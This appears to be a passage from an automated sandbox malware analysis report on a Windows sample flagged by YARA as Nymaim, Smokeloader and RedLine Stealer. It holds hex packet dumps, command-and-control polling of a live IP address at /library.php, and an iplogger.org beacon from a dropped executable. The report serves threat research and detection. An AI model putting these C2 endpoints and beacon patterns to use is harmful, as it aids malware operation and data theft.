Oct 3, 2022 17:30:25.139468908 CEST	4466	IN	Data Raw: 4d 96 87 7f 63 be 6a e0 a7 12 2c 76 97 11 b2 61 1a 8c 52 86 70 00 11 79 15 ef 90 33 7a 8b 69 b8 d1 93 89 5d 20 a4 63 5d de 1c 51 fe 73 46 db 21 4d c9 ea f7 67 60 2f e1 a9 04 18 e8 c1 d7 b3 44 78 0e 75 21 3a 8b 07 a0 01 19 e6 77 51 13 23 87 dc 93 Data Ascii: Mcj,vaRpy3zi] c]QsF!Mg`/Dxu!:wQ#[Xs~w0)w(cU6@(R#a0Sj!P[N^/c&;<5`V(Tys6gMn ?.Vz]X6?hGynK;YVYK
Oct 3, 2022 17:30:25.139492989 CEST	4467	IN	Data Raw: 21 b9 4c 3c 58 1f 3e b0 46 f6 ca 4f d4 3b 5d 88 04 a1 eb 28 78 da b0 51 20 02 9f d0 8e b2 b6 6e de 77 3f 8e 24 81 58 61 dc f1 2f 50 d4 78 14 e3 ed 48 fd 34 28 b3 3c 8d c4 b1 fb b3 81 1a a3 cc 05 30 f2 1b f9 e2 ee 54 f2 cb e6 99 0e 52 e0 62 83 e1 Data Ascii: !L<X>FO;](xQ nw?$Xa/PxH4(<0TRbY\|/V)s8igrzEm<G_+/G.t#\|1;'Ui9yQYXP^^8]7_Y(*Mt%k+p.(zg
Oct 3, 2022 17:30:25.139518023 CEST	4469	IN	Data Raw: 68 3c a5 e0 8c 19 ff b7 b6 66 fd 50 d8 d9 59 25 6f 43 24 25 d2 09 74 d5 15 b3 3e 2c 54 69 50 e7 2e cc 3b db c1 ab f1 19 b7 ff f3 7e 50 4b 36 6e 85 9a 1e 0e d4 5d 9f a5 ae ce 78 88 33 b5 ca 41 3d a1 fd 67 c3 9e 53 a3 30 2c b4 41 90 66 8e 73 85 77 Data Ascii: h<fPY%oC$%t>,TiP.;~PK6n]x3A=gS0,Afswy\cCDw6m&g}fom?ZIhA/-'1D8$$@S9&h0a7lLl 9Wyu0
Oct 3, 2022 17:30:25.139543056 CEST	4470	IN	Data Raw: 24 ad 2e af 1c 5c fa b9 f9 cf 44 8d d0 e8 a4 24 09 87 fb a0 14 ac b1 57 7d 53 55 c3 8d 9b d7 93 44 32 17 30 78 13 2a 5a 0b e8 52 6e 89 17 ad ea 8f 4a 5f d2 cb 2f 97 d7 ed f3 95 a9 50 7f 49 f6 6f 84 95 c0 12 8d 28 dd a7 d0 4c 02 91 fe 7f 5a bd 70 Data Ascii: $.\D$W}SUD20x*ZRnJ_/PIo(LZp1+,j%MClj5NZ32Pu0'1b}V}JCC;H@mX`5Xgw[iag7X"G{K
Oct 3, 2022 17:30:25.139565945 CEST	4472	IN	Data Raw: d9 c8 d5 72 52 2b 1f a9 ce 14 25 d2 bc be a1 c8 e3 db 90 60 1d e7 64 da 5b 9b 91 87 b9 96 91 4c f6 68 b8 24 66 6d 17 12 16 9b ce c1 4d ad 21 e8 ac e7 91 d6 2b 8a 70 d8 07 6d f6 7c 51 aa ae 5c 46 a3 5b a8 63 78 5a 2f b7 91 d6 fb a1 2d a8 64 d9 d7 Data Ascii: rR+%`d[Lh$fmM!+pm\|Q\F[cxZ/-dIa_hYwOi@{c5$:u[x{'B4oXa\H_f$%^gZr~Q> F>!<}Nw^~a\"[T/B&
Oct 3, 2022 17:30:25.139589071 CEST	4473	IN	Data Raw: 20 4c ba 5f 6e 12 80 56 cf 7a 46 07 bc 39 50 89 7d 09 31 b0 10 e3 35 18 30 d6 9b 45 e7 53 0e 8b 5a 89 04 ed 1f 63 58 26 ed 05 56 f6 04 b0 4b 49 41 ec 72 6f 33 13 31 cb 04 d8 ae a2 60 68 7a 07 c2 58 2d 03 77 38 4e e5 40 a5 1d e8 35 b1 0b 06 8e e7 Data Ascii: L_nVzF9P}150ESZcX&VKIAro31`hzX-w8N@5Yf8w}-^)Eja.] )jKNb$Etb6k@+P/zksThrw^NWchEZX(E\8J9alG/Cm-Q95Q@J1_lHl
Oct 3, 2022 17:30:25.166330099 CEST	4474	IN	Data Raw: df 45 f8 57 13 1c bc db 95 00 23 48 83 a9 9d cc 72 58 44 3a 28 86 1f 1a ff f8 b0 74 76 a4 81 88 29 df fd 47 64 5f 13 3c 75 e5 f1 4c fe d9 14 bc 60 1b ac a3 1b 17 61 a9 b7 fa 7f c7 86 61 d6 5f f0 b1 f3 ff 55 3d 50 be ad 32 1d c1 19 a0 b5 56 32 5f Data Ascii: EW#HrXD:(tv)Gd_<uL`aa_U=P2V2_bFM{!wahJs m<'Js{>vB;C+M]5r4:kRP:OjQUFLDQKp+CNZ!cQ:*V

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49700	171.22.30.106	80	C:\Users\user\Desktop\file.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2022 17:30:25.350914955 CEST	4560	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:25.879477978 CEST	4560	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 3, 2022 17:30:27.926572084 CEST	4560	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:28.510983944 CEST	4561	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 3, 2022 17:30:30.576231003 CEST	4561	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:31.119661093 CEST	4562	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 3, 2022 17:30:33.219202042 CEST	4562	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:33.738348961 CEST	4562	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 3, 2022 17:30:35.788949013 CEST	4563	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:36.318706989 CEST	4563	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 3, 2022 17:30:38.376482010 CEST	4564	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:38.896092892 CEST	4564	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 3, 2022 17:30:40.959604979 CEST	4565	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:41.482295990 CEST	4565	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 3, 2022 17:30:44.292083025 CEST	4565	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:44.814677000 CEST	4566	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 3, 2022 17:30:46.860872984 CEST	4566	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:47.460123062 CEST	4571	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Oct 3, 2022 17:30:49.499805927 CEST	4573	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:50.041088104 CEST	4573	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49702	171.22.30.106	80	C:\Users\user\Desktop\file.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2022 17:30:53.012393951 CEST	4574	OUT	GET /library.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 2 Host: 171.22.30.106 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:53.548079967 CEST	4574	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49701	148.251.234.83	443	C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe

Timestamp	kBytes transferred	Direction	Data
2022-10-03 15:30:47 UTC	0	OUT	GET /1Pz8p7 HTTP/1.1 User-Agent: Mozilla/5.0 (Linux; Android 9; SM-G973U Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36 Host: iplogger.org Connection: Keep-Alive
2022-10-03 15:30:47 UTC	0	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 03 Oct 2022 15:30:47 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=102.129.143.15; expires=Tue, 03-Oct-2023 15:30:47 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 333625791719766799=1; expires=Tue, 03-Oct-2023 15:30:47 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Mon, 03 Oct 2022 15:30:47 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-10-03 15:30:47 UTC	0	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 3196, Parent PID: 3324

General

Target ID:	0
Start time:	17:29:28
Start date:	03/10/2022
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	238080 bytes
MD5 hash:	526FDE9E61B1B4835885973331FA1616
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.309205181.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.309205181.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.324269337.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.324269337.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.303645653.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.303645653.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.313758394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.314053861.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.314053861.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.340099417.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.340099417.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.345695495.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.303166143.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.308578404.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.313966134.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.352618407.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.318572521.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.352139791.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.352139791.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.308973675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.339625229.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.319401695.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.337565462.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.319567616.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.319567616.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.318795705.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.302663434.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.313553571.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.313553571.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.309109018.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.346627601.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.346627601.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.324683404.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000003.301103570.0000000002200000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.338909457.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.338909457.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.319176574.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.352775062.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.352775062.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.324752364.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.324752364.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.324022607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.352494062.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.313496806.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.339850258.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.337744676.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.345502074.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.346524213.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.346406888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.313405136.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.308781752.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.308781752.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.318868933.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.318868933.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.303421378.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.345921160.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.345921160.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.324526447.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.302389344.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.351860425.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.308709997.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.352027898.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000000.302874171.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000000.302874171.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000000.324186328.0000000000739000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 4088, Parent PID: 3196

General

Target ID:	3
Start time:	17:29:31
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 528
Imagebase:	0xef0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 1364, Parent PID: 3196

General

Target ID:	5
Start time:	17:29:34
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 700
Imagebase:	0xef0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 6080, Parent PID: 3196

General

Target ID:	7
Start time:	17:29:36
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 724
Imagebase:	0xef0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 6064, Parent PID: 3196

General

Target ID:	9
Start time:	17:29:39
Start date:	03/10/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 760
Imagebase:	0xef0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 5216, Parent PID: 3196

General

Target ID:	11
Start time:	17:29:41
Start date:	03/10/2022
